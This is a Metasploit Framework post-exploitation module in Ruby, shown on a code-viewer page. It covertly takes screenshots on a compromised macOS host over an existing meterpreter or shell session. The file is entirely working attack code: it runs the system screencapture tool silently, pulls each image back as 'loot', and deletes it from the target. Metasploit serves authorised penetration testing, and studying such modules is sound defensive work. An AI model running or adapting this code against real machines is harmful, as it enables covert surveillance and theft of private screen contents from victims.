Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/osx/capture/screen.rb
24756 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'OSX Screen Capture',
15
'Description' => %q{
16
This module takes screenshots of target desktop and automatically downloads them.
17
},
18
'License' => MSF_LICENSE,
19
'Author' => [
20
'Peter Toth <globetother[at]gmail.com>' # ported windows version to osx
21
],
22
'Platform' => [ 'osx' ],
23
'SessionTypes' => [ 'meterpreter', 'shell' ],
24
'Notes' => {
25
'Stability' => [CRASH_SAFE],
26
'SideEffects' => [ARTIFACTS_ON_DISK],
27
'Reliability' => []
28
}
29
)
30
)
31
32
register_options(
33
[
34
OptEnum.new('FILETYPE',
35
[true, 'File format to use when saving a snapshot', 'png', %w[png gif]]),
36
OptInt.new('DELAY', [true, 'Interval between screenshots in seconds. 0 for no delay', 10]),
37
OptInt.new('COUNT', [true, 'Number of screenshots to collect.', 1]),
38
OptString.new('TMP_PATH', [true, 'Path to remote temp directory', '/tmp/<random>']),
39
OptString.new('EXE_PATH', [true, 'Path to remote screencapture executable', '/usr/sbin/screencapture'])
40
]
41
)
42
end
43
44
def run
45
file_type = datastore['FILETYPE'].shellescape
46
exe_path = datastore['EXE_PATH'].shellescape
47
tmp_path = datastore['TMP_PATH'].gsub('<random>', Rex::Text.rand_text_alpha(8)).shellescape
48
if datastore['COUNT'] < 1
49
count = 1
50
else
51
count = datastore['COUNT']
52
end
53
if datastore['DELAY'] < 0
54
delay = 0
55
else
56
delay = datastore['DELAY']
57
end
58
59
if !file?(exe_path)
60
print_error('Aborting, screencapture binary not found.')
61
return
62
end
63
64
print_status "Capturing #{count} screenshots with a delay of #{delay} seconds"
65
# calculate a sane number of leading zeros to use. log of x is ~ the number of digits
66
leading_zeros = Math.log10(count).round
67
file_locations = []
68
69
count.times do |num|
70
Rex.sleep(delay) unless num <= 0
71
72
begin
73
mkdir(tmp_path)
74
filename = Rex::Text.rand_text_alpha(7)
75
file = "#{tmp_path}/#{filename}"
76
cmd_exec("#{exe_path} -x -C -t #{file_type} #{file}")
77
data = read_file(file)
78
file_rm(file)
79
rescue ::Rex::Post::Meterpreter::RequestError => e
80
print_error('Error taking the screenshot')
81
vprint_error("#{e.class} #{e} #{e.backtrace}")
82
break
83
end
84
85
unless data
86
print_error("No data for screenshot #{num}")
87
next
88
end
89
90
begin
91
# let's loot it using non-clobbering filename, even tho this is the source filename, not dest
92
fn = "screenshot.%0#{leading_zeros}d.#{file_type}" % num
93
location = store_loot('screen_capture.screenshot', "image/#{file_type}", session, data, fn, 'Screenshot')
94
vprint_good("Screenshot #{num} saved on #{location}")
95
file_locations << location
96
rescue ::IOError, ::Errno::ENOENT => e
97
print_error('Error storing screenshot')
98
vprint_error("#{e.class} #{e} #{e.backtrace}")
99
break
100
end
101
end
102
103
print_status('Screen Capturing Complete')
104
unless file_locations.blank?
105
print_status('Use "loot -t screen_capture.screenshot" to see file locations of your newly acquired loot')
106
end
107
end
108
end
109
110